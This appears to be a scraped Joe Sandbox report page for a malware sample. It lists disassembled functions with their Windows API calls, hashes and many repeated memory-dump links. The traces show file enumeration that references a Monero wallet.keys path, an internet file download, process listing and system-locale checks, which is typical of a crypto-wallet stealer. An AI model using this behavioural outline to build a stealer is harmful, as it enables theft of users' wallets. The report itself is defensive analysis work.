Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 7e925a43721b083c8a23526aa89b316e4d0f74889dff630d160f2dbcd884dd29
Instruction ID: 2fd19dfbef964a9b48496a2b3ecfaca297ed8d67ef31e4819bda3ffb9897b11b
Opcode Fuzzy Hash: 7e925a43721b083c8a23526aa89b316e4d0f74889dff630d160f2dbcd884dd29
Instruction Fuzzy Hash: 931245719101589BCB15FB60DDA6EEE7378BF64300F40459AB50BA2291EF706F89CFA1

Function 00ACDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00AE14B0,00AE0C2A), ref: 00ACDAEB
StrCmpCA.SHLWAPI(?,00AE14B4), ref: 00ACDB33
StrCmpCA.SHLWAPI(?,00AE14B8), ref: 00ACDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 00ACDDCC
FindClose.KERNEL32(000000FF), ref: 00ACDDDE

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 3274b0d217533d1838d816ca0afad2a9b6cdaea85deecaa79deb78bad0884ce8
Instruction ID: 0405ebe08c4462a7d2703e9b1cf4c677c2f187c0bb4a690b6b220cc40a8eb3a2
Opcode Fuzzy Hash: 3274b0d217533d1838d816ca0afad2a9b6cdaea85deecaa79deb78bad0884ce8
Instruction Fuzzy Hash: 77913772A00208ABCB14FB74DD56EED737DAF94300F418569F90BD6281EE349B59CB92

Function 00AC60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Part of subcall function 00AC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AC4839
Part of subcall function 00AC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00AC4849

InternetOpenA.WININET(00AE0DF7,00000001,00000000,00000000,00000000), ref: 00AC610F
StrCmpCA.SHLWAPI(?,0178E2B0), ref: 00AC6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00AC618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00AC61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00AC61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00AC620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00AC6249
InternetCloseHandle.WININET(?), ref: 00AC6253
InternetCloseHandle.WININET(00000000), ref: 00AC6260

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 3890e14c57f78ba9d098163358a9c65a6950701da6e14dbe3e55d07e4a24f4c1
Instruction ID: a12a147dab862bc826fd41c9f2328279fc2daec09d6bc1ee40ae51853b8f97e3
Opcode Fuzzy Hash: 3890e14c57f78ba9d098163358a9c65a6950701da6e14dbe3e55d07e4a24f4c1
Instruction Fuzzy Hash: BC513FB1A00318ABDB20DF64DD45FEE77B8EB44701F108199B60AA72C1DB746A85CFA5

Function 00AD7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

GetKeyboardLayoutList.USER32(00000000,00000000,00AE05AF), ref: 00AD7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00AD7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00AD7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00AD7C62
LocalFree.KERNEL32(00000000), ref: 00AD7D22

Strings

/ , xrefs: 00AD7C7F

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 4e3be00c18d28d77e508c96e2444319c9cb0b4d469a44f68a4a06e60e0bbd1d7
Instruction ID: 937cc8673a098c49d02494b9431b7a4679e7dcfa89e26e88678b61194ff85769
Opcode Fuzzy Hash: 4e3be00c18d28d77e508c96e2444319c9cb0b4d469a44f68a4a06e60e0bbd1d7
Instruction Fuzzy Hash: E3414E71950218ABDB24DB94DD99FEEB374FF54700F2041DAE40AA2291DB742F85CFA1

Function 00ACE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00AE0D73), ref: 00ACE4A2
StrCmpCA.SHLWAPI(?,00AE14F8), ref: 00ACE4F2
StrCmpCA.SHLWAPI(?,00AE14FC), ref: 00ACE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00ACEBDF

Strings

\*.*, xrefs: 00ACE44D

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 0d8a0c9761e46564c110a5c89909ac0281cf006ee53ab16dfda61c6d72d5caca
Instruction ID: 475c0573fe9358bb9847f64f3f44e4618f5e6b8bdd2a246b73ffe4555646f9df
Opcode Fuzzy Hash: 0d8a0c9761e46564c110a5c89909ac0281cf006ee53ab16dfda61c6d72d5caca
Instruction Fuzzy Hash: 91126971A101589BDB14FB70DEA6EED7338AF64300F40459AB50B96291EF346F49CFA2

Function 00AD9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00AD961E
Process32First.KERNEL32(00AE0ACA,00000128), ref: 00AD9632
Process32Next.KERNEL32(00AE0ACA,00000128), ref: 00AD9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00AD965C
CloseHandle.KERNEL32(00AE0ACA), ref: 00AD967A

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 6e4a738cda1927fd024696f0179ec3c5dfabdc2a4e07d8d489cf0626da022a06
Instruction ID: a13125e99473350c0857f67dfbe1b13c61ef0c022be874d62b6efb619979c925
Opcode Fuzzy Hash: 6e4a738cda1927fd024696f0179ec3c5dfabdc2a4e07d8d489cf0626da022a06
Instruction Fuzzy Hash: 66010C75A00308ABDB14DFA5CD48BEEBBF9EB48700F108189A90AD6340D774DB40CF61

Function 00AD8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00AE05B7), ref: 00AD86CA
Process32First.KERNEL32(?,00000128), ref: 00AD86DE
Process32Next.KERNEL32(?,00000128), ref: 00AD86F3

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

CloseHandle.KERNEL32(?), ref: 00AD8761

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 5e21ae8bcf0f9ea7938bb7ca6aba5011a2dd7ceebfaf7b9c1c348916e59ab5a9
Instruction ID: 32a769387bc4a9e0d2d2c932666a346abc4d72a5acbf22f935333668f9d672c9
Opcode Fuzzy Hash: 5e21ae8bcf0f9ea7938bb7ca6aba5011a2dd7ceebfaf7b9c1c348916e59ab5a9
Instruction Fuzzy Hash: 4F315971901258ABCB24DB55CD45FEEB778FF54700F10859AA50AA22A0DB346A45CFA1

Function 00AD7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0178D910,00000000,?,00AE0E10,00000000,?,00000000,00000000), ref: 00AD7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00AD7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0178D910,00000000,?,00AE0E10,00000000,?,00000000,00000000,?), ref: 00AD7A7D
